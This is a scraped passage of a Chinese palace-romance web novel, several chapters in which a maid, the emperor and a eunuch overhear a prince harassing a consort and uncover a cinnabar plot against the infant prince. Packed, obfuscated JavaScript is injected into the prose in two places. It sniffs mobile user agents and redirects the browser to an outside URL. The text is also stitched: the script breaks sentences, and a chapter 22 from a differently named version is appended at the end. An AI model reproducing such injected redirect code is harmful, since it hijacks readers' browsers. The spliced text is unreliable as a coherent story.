沈青好笑之余脸有些烧:“你我之间何须奴才来奴才去的,我现在也仍是个宫女,我们没什么不同,只要在恰当时候和我通通气儿,我就感恩戴德了。” 她将钱继曾说过的话原样还了回去。 钱继领着她避开乾清宫的一些人,微哂:“好。” 他眼瞧着沈青是要飞上枝头了,可纳闷的是,皇上吩咐他给沈青准备的仍是宫女衣裳,但沈青又确确实实睡在了乾清宫的龙床上,若没发生什么,他是不信的。 这可是连后宫嫔妃都没有的待遇。 如此怎能不让他放低自己的位置。 沈青跟在钱继身边,不好探头去瞧,余光亦未瞥见王积贵和王定,算一算,已经好久未见他们了,她还将王积贵送的玉簪弄坏了。 即便纪宸赔了一个,跟她那个又不同。 沈青问钱继:“寝殿那个碎掉的玉簪你知道在哪儿吗?我想拿回来修补一下。” 碎玉可以用金镶玉的办法固定住。 钱继摇了摇头:“从未见过。” 他作为极少数的知情人,自然知道寝殿地上碎掉的玉簪意味着什么,也知道皇上让他将碎玉簪处理了那句话中透露的浓浓不喜和扫除了障碍的轻松。 即便沈青和御前的太监有纠葛,皇上仍是喜欢,但恐怕在沈青面前涉及王公公的任何话提也未提,所以沈青才惦记着那玉簪。 沈青叹气,只以为是宫人进寝殿打扫时将东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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念及大皇子月龄尚小,皇后便未抱去,沈青和四个奶嬷嬷并充足的人手,以及一名防止意外的太医留守在坤宁宫。 芰荷向皇后请命留在坤宁宫,皇后想着左右宴席上没什么事,有青古和萱草在身边也够了,便点头应允。 皇后仪仗离开后,芰荷朝沈青眨了眨眼。 沈青微愣,芰荷留下来是为了她,不过想到芰荷和王积贵的关系,便知道兴许是王积贵那边有事。 果然,皇后离开后不久,芰荷便道:“这里有我给你看着,王公公说,让你戌时去御花园北侧的亭阁一趟,有要事相商。” 沈青点头应下:“好。” 在戌时到之前,沈青便系上带兜帽的披风,提着灯出门了。 这个时候,大家都在宫宴上,宫道上倒没几个人。 很快,她抵达御花园,往北侧的凉亭处走,紧接着,她便听到一道声音:“二王爷,请你自重!” 是嫣婕妤的声音,沈青不知道的是,在今天晚上,先帝的三个皇子分别被皇上封为了礼王、文王和信王。 但从嫣婕妤的话中也能听出这个二王爷是个何许人也。 沈青飞快吹灭了手中的灯,好奇心占了上风,蹑手蹑脚往声音传来的方向移。 御花园虽点着几盏灯,但天黑,很多地方还乌漆嘛黑,连月光都照不到。 正适合偷听。 不巧,有人也跟沈青的心思一样,沈青刚找好地方猫好,余光一瞥,发现另一边的假山后荡出的衣袍一角是那样熟悉。 她抬头一看,与对面两个人的视线对上,眼睛不由睁圆,傻楞住了。 是皇上,他身边跟着的不是钱继,而是王积贵。 纪宸看见不知何时蹲在那儿,团成雪白团子,披风上的红梅将其点缀的十分可口的某人,脸上的愠气稍稍收敛。 王积贵则冲她缓缓摇了摇头,意思是事情有变,不要轻举妄动。 沈青立刻捂住嘴,表示了解,保证绝不暴露二人在这里。 信息传递出了差错,但王积贵却不由莞尔。 46. 第 46 章 纪宸负手而立,即便默默偷听也一副从容不迫的气势,幸而从亭子往这边看,假山能挡住他。 这几日没有下雪,御花园的宫人打扫也勤,不管是花畦还是小路上,都无积雪残留。 沈青也得以不发出任何声响靠近。 比起纪宸的沉着,她便显得鬼祟了些,不过没关系,沈青竖起耳朵听。 二王爷的声音很快传来,他唤嫣婕妤为云湄,语气缠缠绵绵,带着股浓厚的醉意。 沈青翻看过这届秀女的册子,知道云湄是嫣婕妤的名字。 能如此称呼,许是二人早就相识。 醉了,便代表他此时所行所言皆出自本心。 “云湄,你说话真让我伤心,做了我皇兄的妃子,我们往日种种便可一笔勾销了吗?” 嫣婕妤语气极为疑惑:“我与你何时有过瓜葛,污蔑我的清白与你有何好处?” 二王爷语气骤然起伏:“去年我们在崇福寺有过一面之缘,当日我拿出贴身玉佩相赠,可有错?” 嫣婕妤冷静对答道:“见色起意之徒,玉佩我并未收,情意自也无从谈起。” “那之后我给你送信,道明我的身份和对你的喜欢,许你侧妃之位,这也算不得什么吗?” 嫣婕妤道:“自然,你风流成性,我从未有一点属意过你,那封信我收到后当场便让丫鬟给烧了,并催促父母将我参加大选的名单递上去。从我的所作所为,我想,你也该知道这是拒绝的意思。” “如今,我已成为皇上中意的婕妤,你作为王爷,又何苦纠缠不放?” 二王爷大声道:“本王倾心与你啊!” 沈青被惊的一个仰脸。嫔妃无法与外男接触,二王爷可能忍了一年,才得以寻到机会来找嫣婕妤,情绪自然无法隐忍。 但这对嫣婕妤来说,实属无妄之灾。 嫣婕妤的每一句话都在极力撇清和二王爷的关系,可越是这般,二王爷越是想打破沙锅问到底。 “本王究竟哪里不如我皇兄?” 沈青觑了眼纪宸,相信嫣婕妤接下来的话很可能让他龙心大悦。 哪个男人不喜欢被比较? 不要小瞧男人的胜负欲。 嫣婕妤清晰答道:“皇上是真龙天子,九五之尊,单从身份上王爷就比不过,更不必说皇上比王爷更威武雄壮,气宇轩昂,你在他面前犹如小鸡仔与老鹰。皇上风采犹如松柏,你却脚底虚浮,眼下青黑,风流的名声满京城可闻,皇上在朝堂上力压朝臣,你却连入朝担职的文采都没有。王爷并非没有受训于皇上面前,何须这般发问来自取其辱?” 另一道声音久久不言,似是深受打击。 沈青目光幽幽看向纪宸,原来他的优点这么多吗? 任何人被这么夸,都会膨胀吧。 纪宸垂眸看向沈青,嘴角并无高兴的意思,冲沈青挑了挑眉。 亭子里的嫣婕妤见礼王伏在桌子上,眼睛发直发愣,回不过身,脸上是两坨酒气上头的红晕,当下便整了整衣裳:“既然话已说明白,我就先走了,希望王爷以后莫要再让人给我递消息约我相见。” 原是二王爷约的人,听嫣婕妤的话,还不止一次,于是嫣婕妤选择这次将话说明白。 很快,亭子处传来两道脚步声,离沈青他们这个方向越来越近。 沈青往另一侧躲了躲,再看只见到嫣婕妤带着一名宫女步履匆匆离开的背影,没有发现他们在这儿。 离开御花园行走在去往永和宫的宫道上,嫣婕妤的速度这才降了下来,目光看向身边的星罗。 星罗点了点头,轻声道:“皇上在御花园……姑娘这招太惊险了,一招不慎便满盘皆输。” 即便宫里有宫里的规矩,但星罗从小跟着嫣婕妤,私底下,她仍是唤着嫣婕妤姑娘。 嫣婕妤嘴角笑意蔓延:“看似险,实则稳,皇上也是男人,对普通男人奏效的方法对他也是一样。况且,将礼王这个隐患拔除,我将再无后顾之忧。” 星罗同意道:“礼王若非是王爷,那就是个十足的登徒子,不过一个侧妃之位,便想用它夺得姑娘的芳心,他那因国丧和亲祖父丧期接上而未能入门的正妃,可不是个好相与的,何况他那满后院的美人……” 还不如进宫呢。 - 亭子里的礼王烂醉如泥,纪宸不去训斥他便是好了,更不用说再躲躲藏藏。 当下便走到沈青面前,将她跟拔萝卜似的整个拔起。 “皇上,奴婢不是故意撞见的。”沈青怂怂道。 纪宸:“朕知道,你不是故意撞见,只是故意偷听。” 沈青:“……” 无法反驳,她只能讪笑着摸脸。 王积贵见此愈发沉默。 纪宸问:“嫣婕妤的事,你怎么看?” “奴婢能谈论嫔妃?” “朕允许,但说无妨。” 沈青想了想,道:“嫣婕妤好可怜,被一个不喜欢的人纠缠,对方还身份贵重,是天潢贵胄,让嫣婕妤拒绝都得挑方法,挑时刻。” 纪宸的气息渐渐危险。 沈青的声音随即越发小了,她心里咯噔一下,皇上不会是觉得她意有所指,实际在说他的喜欢让她困扰吧。 冤枉啊!她对天发誓,绝无此意! 沈青连忙找补道:“当然,二王爷如何能跟皇上比呢,奴婢此话绝无别的意思。” 此地无银三百两。 任谁听着都是敷衍至极的解释,但纪宸信了,缓和起来。 他最知沈青的淳朴,指桑骂槐的本事她怎么可能有? 不知皇上心中对她有着极高评价的沈青,见纪宸的态度和缓,便知有效,再接再厉道:“就如嫣婕妤所说,皇上是龙,二王爷是虫,皇上莫要想差了。” 纪宸听完,看向她,沈青一脸莫名。 “没了?” 沈青试探性点了点头。 紧接着,脑袋就被敲了一下:“毫无诚意。” 撂下这句话后,徒余沈青伸手捂住脑袋,纪宸则转身去了亭子那边。 见王积贵跟着也走了,沈青连忙跟上,王积贵的要事还没和她说,能称得上要事,事情便不会小,且大概是关于她的。 到了亭子内,纪宸微抬下巴吩咐道:“把他泼醒。” 先帝的二皇子名唤纪寓,是先帝的一位周太妃所出,那位太妃的家族擅长敛财,也宠溺纪寓,纪寓平日一掷千金就是周家在后资助,纪寓未来的正妃亦出自周家嫡女。 也因此,周家女的亲祖父,纪寓的外祖父逝世,纪寓身为先帝皇子被耽误婚期也从未提过退婚。 王积贵闻言往一侧看了一眼,不多时,一名大力太监拎着装 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纪寓还想再讨饶,却见纪宸看他的目光满是失望,他一愣,被人一左一右钳住离开此地了。 纪宸生气的也是这,他二弟心底是不服自己的,又被周家捧的不知天高地厚,若非念着他沉迷酒色身子骨废了,他早不留情面一脚踹过去了。 沈青从未见过这般生气的皇上,于是一点点缩小存在感,不由后悔,她为什么要跟过来。 是因为王积贵。 思及此,沈青细细看了一眼王积贵。 发现即便皇上声色俱厉,王积贵仍很沉稳,这大概就是他能在皇上身边呆那么久的原因,不由深深佩服。 纪宸想着嫣婕妤和纪寓的事,回头一看,发现沈青正专注盯着王积贵在看。 虽然沈青眼中并无什么情意,但就是好气啊。 比听到嫣婕妤和纪寓私会的时候还要情绪翻滚的厉害。 一根手指轻佻地将沈青的下巴抬起,她的目光也落到面前的纪宸身上,纪宸方才的怒容已消失不见,唇边虽是弯起的弧度,眼底却是黑沉沉,似是在酝酿什么可怖的风暴。 还不如情绪外露呢。 沈青睫毛轻颤,目光无辜:“陛下?” 纪宸凑近她,以王积贵的视角下似乎要亲上去,他连忙垂首不去看,。 但其实纪宸只是在问:“今日为何出现在御花园,而不在大皇子处?” “因为……” 纪宸提醒她:“这个时节御花园没有花,残雪都没有,唯一能开的腊梅全在梅园,想好再回答。” 沈青闻言自不会再说什么出来看风景和收集雪来泡茶之类的话。 沈青讨好笑了笑:“这不是那日不小心碎掉了一根玉簪,奴婢来御花园给它刨个土坑祭奠一番,没想到就遇见了皇上,真是缘分。” 她在暗示纪宸不要忘记还碎了她一个玉簪,想勾起他的愧疚,或让他记起那天亲她的事,把这事轻拿轻放算了。 然而,纪宸的目光更沉了,盯得沈青愈发忐忑,她是顺着毛安抚的啊。 祭奠碎玉簪? 分明是在祭奠她那逝去的情缘! 纪宸觉得自己快要委屈死了,却又无法言明。 47. 第 47 章 “回禀皇上,是奴才约见沈青姑娘戌时来御花园,但奈何嫣婕妤的事奴才未能走成。”王积贵忽然出声道,纵然处在奴才的位置上,声音也非奴气十足,而是那样的有礼有节与温和。 沈青极为诧异,想看向他,但奈何被纪宸抵着下巴,未成,反而被纪宸抓包了。 视线碰撞上,沈青利索认错并露出愧疚的小模样,连声道:“奴婢错了,奴婢不该找理由欺骗皇上。” 听着王积贵自称奴才,沈青又一口一个奴婢,言语上仿佛很相称…… “以后你不必在我跟前自称奴婢。”幽微难言之下连朕都忘记称了。 沈青眼中茫然,反应了一下才明白过来,立刻高兴道:“好!那能不能只私下来?” 她最擅长的便是顺杆往上爬,这点恩典算什么?纪宸好歹是皇帝,她接受的很快。 皇上可能把她当金丝雀养了,听她一口一个奴婢觉得难受,不过明面上沈青还是不想和皇上扯上关系。 见纪宸不说话,沈青雀跃之余,微微歪头,露出甜笑,眼睛专注地看向他,伸手揪了揪纪宸的衣裳,并左右摇晃。 她在冲他撒娇。 好新奇,是第一次。 在沈青只摇了一下,纪宸便道:“好。”再没有答应过这么快了。 沈青露出我就知道的表情,内心小小地自豪了一下,啧,她长的这么美,人见人爱实属正常。 被这一打岔,纪宸反倒不好在心里暗戳戳追究她和王积贵的事,因为沈青的脸上是那么清白坦荡。 对王积贵替她揽下此事,不需自己再费劲巴拉找理由很是惊奇。 倒显得他是以小人之心度君子之腹了。 纪宸松开手,将沈青挡在身后,面容一凝,责问道:“有何事不能和朕说?” 王积贵识时务跪下请罪:“奴才该死。” “奴才当初依皇上的命令肃清坤宁宫隐患时,犯了老毛病,在坤宁宫安插了自己的人,前几日有人发现大皇子处的一名奶嬷嬷疑似收了其他宫宫人的好处,此事奴才还在暗中查,约沈青姑娘出来见一面便是此事,拜托她在这段时间护住大皇子。” 纪宸皱眉忧心大皇子,同时不忘想到,这事王积贵即便想提前知会沈青,传个消息就行,难道王大公公连这道消息都传不出去吗? 特意约见,不过是因许久未见格外想念罢了。 至于为什么许久未见,纪宸一点都不觉得是自己的问题,他作为乾清宫的主子,在沈青出现时吩咐奴才离开办事难道不正常吗? 耳边传来沈青焦急的声音,拉回了纪宸的思绪。 “哪个奶嬷嬷?” 大皇子身边的四个奶嬷嬷分别姓王、刘、金、章,均来自不同籍贯,防备着两两合伙,危及皇子姓名。 “章嬷嬷。” 沈青微微皱眉,心中费解,她和章嬷嬷即便交情不深,也知道章嬷嬷最是老实本分了,她不会看不出皇上对大皇子的看重。即便真有困难,找皇后才是一本万利的方法。 皇后对四位奶嬷嬷一贯大方,希望她们能真心实意待大皇子,为了谨慎起见,皇后连离间计都用上了,分几日分别召见了奶嬷嬷,道明,凡是能检举其他奶嬷嬷有不妥之处,便能赐一笔黄金。 那是连沈青都为之心动的数额。 “糊涂!大皇子的事如何能耽搁,王积贵,你胆子大了,连朕都敢不报。” 王积贵垂首认罪。 底下人有自己的心思太正常不过了,做到王积贵这种份上,心大不足为奇,但这恰不是皇上能忍受的。 更不用说王积贵是因为沈青才暴露此事…… 但现在最要紧的是大皇子的安全,王积贵只能事后清算。 纪宸临时改道去坤宁宫,沈青也要回去,自是跟在一侧,并纪宸说了章嬷嬷的为人处事,并不认为她有必要去害大皇子。 只是最后一句猜测之语沈青没有说,她心中焦急大皇子的事,对王积贵也抱有担忧。 路上,纪宸已经冷静下来,如果章嬷嬷没有谋害皇子的胆子,那她被收买要做什么? 王积贵又特意告诉沈青此事,其中未必没有怀疑章嬷嬷的目的在沈青身上,希望她多加防范。 想清之后,大皇子的住处还是要去的,一为扫除隐患,二是护住沈青。 难道他堂堂皇帝还不如一个太监为小宫女思虑周全吗? 王积贵垂着眼,叫人看不出他的神情。 等到坤宁宫时,皇后还没有从宴席上回来,纪宸见到大皇子身边的御医,让其免礼,命令对方先给大皇子诊脉。 皇上面容严肃,御医自然受其影响,给大皇子把脉更仔细了,唯恐遗漏。 在诊脉期间,钱全忠出现在纪宸身边,将乾清宫的人手带了过来。 并让钱继搬来厚重的檀木椅子,让纪宸坐下,手旁是圆形的小茶几,茶几上摆着热茶、糕点、鎏金三足铜香炉,且已经点上了香。 纪宸看了眼香炉,道:“大皇子处不必燃香,将香炉撤下去。” 来得次数多了,他当然知道大皇子这里沈青定下的规矩,由此也可见她谨小慎微的性子。 钱继上前将薰炉撤下去。 诊完脉,御医擦了擦额头不明显的汗水,行礼道:“回禀陛下,大皇子无碍。” 纪宸细细看了两眼大皇子,见他还十分有活力地在四处瞧,双手握着,便放心了。 但大皇子处的人不能不整治,若无意外,沈青会一直想呆在此处,于是问:“章嬷嬷何在。” 白胖的金嬷嬷站出来回道:“章嬷嬷身体有恙,这几日都在屋里歇着。” 她和章嬷嬷同屋。 纪宸看向沈青。 沈青点头:“金嬷嬷说的和奴婢了解的一样,这几天章嬷嬷确实频繁抱恙,身体每每见好总要严重,奴婢便未让她接触大皇子。” 奇了怪了,若是被收买为何会病了,不应该活跃起来吗? 怎反倒像特意不近大皇子的身。 沈青困惑,但皇上都在这主持大局了,依着大皇子的重要性,自然会查个明白。 纪宸吩咐道:“钱继,你带人找到章嬷嬷,暂时羁押起来,将下人住处全部搜查一遍,另大皇子的这间屋子也不要放过。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411545|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>既是要整治,自然大查特查,光一个章嬷嬷怎么够,拿住了直接问,他要的是大皇子住处的安全。 自然要将所有糟污找出来。 王积贵适时开口:“皇上,不如奴才领人去宫人住处搜一搜?” 纪宸抬眸看了一眼王积贵,沉默片刻:“允。” 沈青的住处有他的贴身之物,该让不相干的人彻底认清真相了。 这个小宫女不是他可以肖想的。 纪宸和王积贵打的哑谜只在一瞬间,连沈青都没发现。 王积贵低头谢恩,和钱继带着人先去下人住的庑房。 一刻钟后,搜查完庑房的太监进到大皇子的住处开始继续搜,王积贵走到纪宸身边,低语道:“启禀皇上,奴才在章嬷嬷处找到了一包金银珠宝,其余人的住处并无任何东西,但在院内的花盆中发现了朱砂。” 说到朱砂二字,王积贵声音一轻,但仍能听出这是他话中的重心。 他抬眼看了眼皇上,果然,皇上脸色凝重,目光危险悠远,不复方才的看着严肃但实则松弛的状态。 沈青闻言,想着章嬷嬷还挺谨慎,没将东西放到住处,不然当下就说不清了,不过赃物都被找到了,已然是不干净了。 她看向钱继,发现跟在王积贵身边的钱继欲言又止,最后什么话也没说。 不由纳闷。 就在这时,有太监从屋内的大肚瓷瓶中又翻出一包朱砂,快步呈了上来。 年纪已经颇大的御医在旁边紧张地捋着胡须,得皇上眼神示意翻看过朱砂后,道:“朱砂具有镇静安神的功效,然有小毒,不宜大量服用,对于小孩子来说,少量久服会损伤元神,严重的则会变成痴儿。” 沈青听到这话连忙去看了眼大皇子,见他丝毫没发觉气氛有异,听到有人说话便啊啊应声,心中只觉难受。 这是存着破坏大皇子智力的目的,来断大皇子的未来,一国太子自然不能愚笨。 若王积贵没有发现,可想而知大皇子长大后皇后会有多痛苦。 这里只有皇上一个主持大局的主子,御医的话音甫落,除了大皇子的咿呀之语,明明满室的人,此刻却静默地让人心惊。 除了皇上,其余人已经齐刷刷跪下了。 纪宸的手掌握成了拳。 皇上要想查清一件事比皇后要来得更雷厉风行些,不光是大皇子这里,整个坤宁宫都被封锁了起来。 脚步声响起,院内出现了披坚执锐的御林军,意味着这已经不是简单的勾心斗角了。 残害皇子,不就是要断绝皇脉么。 普通人家尚且忌讳断子绝孙,更不用说皇室了。 而大皇子又是皇上唯一的皇子,再怎么珍之重之都不为过。 伺候大皇子的人除了沈青全部被扣押,荠荷同样随着出去了,但她是王积贵的人,应是无碍。 能将朱砂带进大皇子屋内的,唯有亲近之人方能做到。 一瞬间,沈青已经不止怀疑章嬷嬷了,将剩下三位奶嬷嬷怀疑了个遍,又将自己给怀疑上了。 她不确定地想,她应是没有梦游之症。 48. 第 48 章 对于王积贵的办事能力纪宸还是信任的,便让钱全忠和王积贵一起查。 钱继则留在他身边,方才的欲言又止,不止沈青看见了,纪宸和王积贵也心知肚明。 王积贵不在乎钱继说什么,领命便出去了。 钱继看了眼沈青,沈青上道先避开。 却听纪宸道:“不必走,但说无妨。” 钱继顿了一下,低声道:“第一次找到的朱砂不是在院中花盆里,而是在沈青姑娘房中。” 没走并默默凑近听到这句话的沈青:“??” 凶手竟是我自己? 这当然是不可能的,沈青连忙辩解道:“奴婢房中绝无此物,你们在何处找到的,兴许是有什么误会,定是有人蓄意构陷!” 沈青急了,小脸上满是慌乱,还有说不清道不明的委屈。 她就是一个宫女,构陷她干什么?手段一点都不高明! “皇上,您得相信奴婢。”沈青病急乱投医道,此处没有皇后,所以退而求其次,皇上也行。 人一急,便没有刻意矫作出的垂惜之态。 偏最自然而然的反应,让纪宸毫不犹豫道:“朕信。” 说完,可能觉得不够诚恳,他重复道:“朕相信你,莫要怕。” 得了保障,沈青这才慢慢脱离了惊惶。 钱继努努嘴:“其实奴才也信。”不然为何私底下才报,当然,更大的原因是他能揣摩圣意,凭皇上的心意定然不想沈青陷入孤立无援的处境,即便那时伸出援手或许更能让人死心塌地。 但皇上不屑于此。 纪宸给了钱继一个眼刀子,让他自行体会。 钱继收敛了许多,正色,回答方才沈青的问题:“是在姑娘装金子的匣子里。” “那是奴婢的宝贝,奴婢每日都打开看的。”沈青看向纪宸,气恼道,“凭什么把害人的东西放到奴婢的匣子里?” 美人生气也别有一番娇俏。 沈青气到就差叉腰骂人了,恼怒之下也不忘告知信息:“奴婢今日晌午才查看过,之后直到现在都没回房内。” 范围一下子缩小到下午和傍晚这两个时间段。 纪宸给钱继使了个眼色,钱继出去将这条消息递给王积贵,至于为什么不说与自家师父,那自然是帮人帮到底,帮沈青遮掩一二。 皇上喜欢的,他自不会忤逆违背。 室内只余皇上,沈青与不会说话的大皇子和几位乾清宫的宫人,又因大皇子身体康健,朱砂发现的较早,没来得及找机会喂给大皇子。 所以纪宸此时虽一副沉怒,但其实还有心情和沈青开玩笑:“朕的东西也自然在你的宝贝匣子里吧?” 沈青脑袋一空。 “……自然,皇上的东西必定是被我宝贝地收起来了,恨不得日日瞻仰。”沈青眨眨眼,努力让自己显得很真诚。 但怎么可能呢,如果她匣子里有纪宸的贴身之物,还有谁能胆大包天到往她匣子里放朱砂栽赃她?纪宸送的金钗是个好东西,但金钗有自己的盒子,还是金丝楠木,所以沈青就把他的东西一气儿全装进金丝楠木中压箱底了。 看人看得多了,纪宸只一眼就知道沈青在心虚。 但是没关系,沈青这话一出口就意味着他的东西此后能进她的宝贝匣子了。 他继续道:“朕要的荷包,已经半个月了,已经是个半成品了吧。” 沈青咬牙:“当然,陛下真是料事如神。”其实一根针也没动,通通压箱底。 “手串……” 院中忽然传来通禀:“皇后娘娘到!” 沈青勉强维持住表情才不至于喜极而泣,她将大皇子小心抱起,知道皇后见到御林军围在外面最担心的是什么,于是抱着大皇子在门口相迎,不出门是因为外面没有地龙,怕一时情急冻着大皇子。 皇后带着人一脸寒意与忐忑进来,见到大皇子,一双眼睛已经黏在了上面:“璨儿!” 沈青将大皇子递过去,并禀告道:“娘娘,大皇子无事。” 皇后这才露出一丝温柔,然后快步走到皇上面前,请安道:“臣妾失仪,请皇上恕罪。” 纪宸在她蹲下时已经提前虚扶了下她的胳膊:“你抱着璨儿,不必多礼。” 见到皇上皇后之间的礼节,沈青才猛然意识到她刚刚的举动有多不妥,即便起因是纪宸步步紧逼,丝毫不给人喘息的机会。 再等纪宸说下去,她都要割地赔款了。 谁能忍得住? 皇后将大皇子搂的很紧,天知道见到御林军围着坤宁宫时她有多慌,万幸,萧家没出事,她的大皇子也没出事,直到大皇子感觉到不舒服,皇后才放松了力道。 “皇上,这是怎么回事?” 纪宸将查到朱砂的事和皇后说了,皇后的目光一瞬间危险了起来,如同母狮子,在尖锐的情绪表露之前,立刻哽咽再行蹲礼道:“请皇上一定要彻查凶手,为我们的璨儿做主!” 纪宸第二次将人虚扶起来:“朕已经派人去查了,相信过不了多久就会有消息。” 钱全忠和王积贵两个人还查不清,干脆把乾清宫的班底打乱重组吧。 皇后信服道:“臣妾和璨儿相信皇上。” 皇后不觉得自己在皇上心中非常重要,所以句句带上大皇子,即便知道既然皇上已经坐在这,必不会让底下人敷衍,但仍是这么说了。 沈青已经许久没见到皇上和皇后相处了,比起一年前,两人似乎生疏了不少。 皇后一心扑在大皇子身上,皇上有后宫嫔妃,分给彼此的时间少了自然只剩表面礼数。 此时皇后又提起除夕宴,道:“皇上,宫中又添了一件喜事,李美人有孕三个月了。” 三个月,胎基本已经稳了,李美人是德妃堂妹,九、十两月里,纪宸翻过几次李美人的牌子。 皇后没想到,李美人居然就这么轻易怀了,还被德妃瞒的很好。 今日晚归,也是先收到礼王被废的消息,后德妃炫耀李美人怀孕,皇后为了避免乌龙,在宴席上便使人请了御医,两件事在一起,可不就耽误回来了么。 礼王被废,原因只说是御前失仪,再多的便打听不到了,消息被皇上封锁死了。 【若是谁要害璨儿,德妃本宫是不怀疑的,德妃被李美人牵绊,又怎会分出心神做一场天衣无缝的计划。】 【贤妃最近安静,八成是在憋着什么坏水,可她若下手,岂不败尽了皇上的情谊?此举愚蠢,太后也不会允许她动手。只是,本宫好希望是贤妃啊,有太后在,贤妃几乎是有了免死金牌。】 沈青听着皇后的心声,想从中得到灵感,找出是谁要蓄意 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因方才注意力没在金嬷嬷身上,沈青并未察觉金嬷嬷有何不对,但对于金嬷嬷,沈青比较了解,因为皇上来看大皇子,嫌人多时,随手一指,金嬷嬷留下的次数最多。 不止沈青在想金嬷嬷,皇后也思索着金嬷嬷这人。 【金嬷嬷虽作为奶嬷嬷入宫,但家里不缺钱,接赏赐时较其他奶嬷嬷来说显得很平淡。】 皇后将这道心声说了出来。 纪宸抬眼示意钱继,钱继接着道:“金嬷嬷发觉皇上到大皇子处总喜欢只留下一个奶嬷嬷,便认为这是个绝佳的机会,于半个月前从线人手中拿到朱砂,想在皇上来大皇子处时下手,害怕事情暴露,她并未将朱砂放到自己的住处,而是藏匿于大皇子殿下屋内的大肚瓷瓶中。因为金嬷嬷发现,打扫寝屋的宫人并不会擦理瓷瓶内部,她贴着瓷瓶腹部的曲线能很好藏匿住朱砂。” “而同住一屋的章嬷嬷前几日得了何贵人的贿赂,被何贵人要求将沈青姑娘从皇后身边赶走,章嬷嬷恰巧发现了金嬷嬷的行为,却隐瞒不报,故意生病不近身伺候大皇子,想日后大皇子出问题逃过追责,于今日把早在称病前从瓷瓶中取出的一部分朱砂准备好,想趁沈青不得空时放进沈青的住处,却未预料到皇上收到章嬷嬷鬼祟的消息,担心对大皇子不利到的过快,以至于章嬷嬷只能临时将装朱砂的纸包放到院中花盆里。” “章嬷嬷意图构陷金嬷嬷和沈青狼狈为奸,以达到让皇后娘娘驱离沈青的目的。” 沈青听得目瞪口呆,章嬷嬷自然将东西放到了她的住处,如果没出意外的话,章嬷嬷本想今晚揭发,因为沈青习惯每晚打开宝贝匣子数金锭。 给章嬷嬷的时间只有半日,今日除夕,按照惯例主子奴才会一起守岁,给章嬷嬷可活动的时间和面见主子的机会可太足了。 皇后目光如潭水一般沉。 【如果何贵人知道章嬷嬷冒着本宫儿子有恙的风险还要算计沈青,本宫定不会放过何贵人!】 沈青目光一亮,皇后威武! 何贵人有孕,又是皇后的人,身份十分贵重,但奈何一踩就是皇后死穴。 沈青抿唇,心里简直要乐死了。 再看皇上,纪宸面容冷峻,光是目光就够将人千刀万剐了。 金嬷嬷直接算计到了皇上头上。 22-30 第22章 第22章宫女二十二日 永壽宫中。 德妃任由石榴帮她卸下发髻:“高美人倒是聪明了一回。” 不难猜出,那个阿蓝原本應該是杜氏的人,结果不知被高美人用什么法子撬走了。 石榴道:“娘娘给了高美人几个月的时间,若这点小事都办不好,也枉为美人之位了。” 德妃照着镜子抚眼尾:“高美人不好用,争不过杜氏,连玉貴人都要越过她了。待明年大选,本宫得好好挑挑,需得照着皇上的喜好,杜氏、玉貴人那般娇美样貌的扶持才好。” “娘娘英明。”- 在景仁宫呆的日子,对于沈青青来说,简直无一处不好。 贤妃手握宫权,又护自己人,她宫中的宫人没有人会怠慢,宫衣送去清洗,不仅送回来得快,上面还帶着淡香,宫女份例中的首饰也不会有瑕疵,都是专管此事的女官检查过才会送来,景仁宫宫人月例也不需大宫女专程去取回来,反而是主动送过来。 景仁宫出去的宫女,无论是谁,都会被叫一声姑娘或是姐姐。 至于青玉和青古,众人都叫她们姑姑。 最让沈青青满意的莫过于景仁宫的小厨房,贤妃的膳食除了从御膳房拿,平时喜欢吃什么,都会叫小厨房准备。因此每日都会有米面菜肉往小厨房送,有些菜肉储藏不当一日便会坏,贤妃当日用不完,为了避免浪费,厨娘就会额外开小灶,给景仁宫的宫人加餐。 这也是得了贤妃的首肯,是贤妃对景仁宫宫人的恩典。 沈青青不必再因为长身体不经饿时去膳房用银子买菜,从而一个月下来明明宫內包吃包住还攒不下一个子儿了。 她在景仁宫养伤,不好出去活动,然而芰荷一次回来却给她帶了一瓶金创玉髓膏——瓶身上清清楚楚写了一竖列五个字,并冲她眨了眨眼。 这可是皇上、乾清宫才有的圣药。 这下她就确定了,芰荷确实跟小定子有联系,她大概率是王積貴的人。 芰荷早知沈青是自己人,说明她在王積贵一派的级别大概比沈青略高,也應是受了小定子的要求,对她多有照拂。 事到如今,沈青所纠结的她到底是否要为王积贵一派幹活已经没什么意义了。 明面上,她是贤妃的人,私底下,她与王积贵一派有联系,其实暗地里,她还拿了惠贵嫔身邊翠环递来的橄榄枝。 理不清了,完全理不清了。 芰荷的主动暴露,沈青惊喜过后,便与她更为亲昵了,她问芰荷:“姐姐,你知道杜氏以前的宫女朝露,现如今是哪一局的女官吗?当日我看朝露的服制,已经是正八品的女官的了。” 芰荷问:“为什么要问这个?” 沈青叹了口气:“杜氏还是婕妤时,她身邊有一位从家里带来的宫女玳瑁,此人与杜氏谋害宫女的事有关,当晚受过罚后便被逐出了宫。朝露是玳瑁手底下的宫女,我总觉得她好似有点不太对劲。” 她不期然想起朝露離开杜寶林那天的情景,朝露是那样的自信淡然,仿佛一眼看透了杜寶林的未来,走的没有丝毫犹豫。 当然,除了珊瑚,听说杜宝林去冷宫时珊瑚毅然跟了过去。谁離开杜宝林都不会犹豫。 “希望是我多想了。”这要她怎么说她懷疑朝露在夏蝉和文心的死上推波助澜,懷疑刘顺本就没遵从杜氏的命令直接将人搞死了,怀疑朝露和刘顺背后可能是同一个主子。 刘顺在织云殿时,可是极为不受杜氏待见,那杜氏缘何要刘顺幹这事,明明还有一个更适合的当时织云殿主事公公,想来必是有人为刘顺引荐,那人只能是参与此事的玳瑁。 若朝露能鼓动玳瑁,这就是一个很完美的计划。 任凭杜氏怎么辩解都不会让人相信她没想那么干。 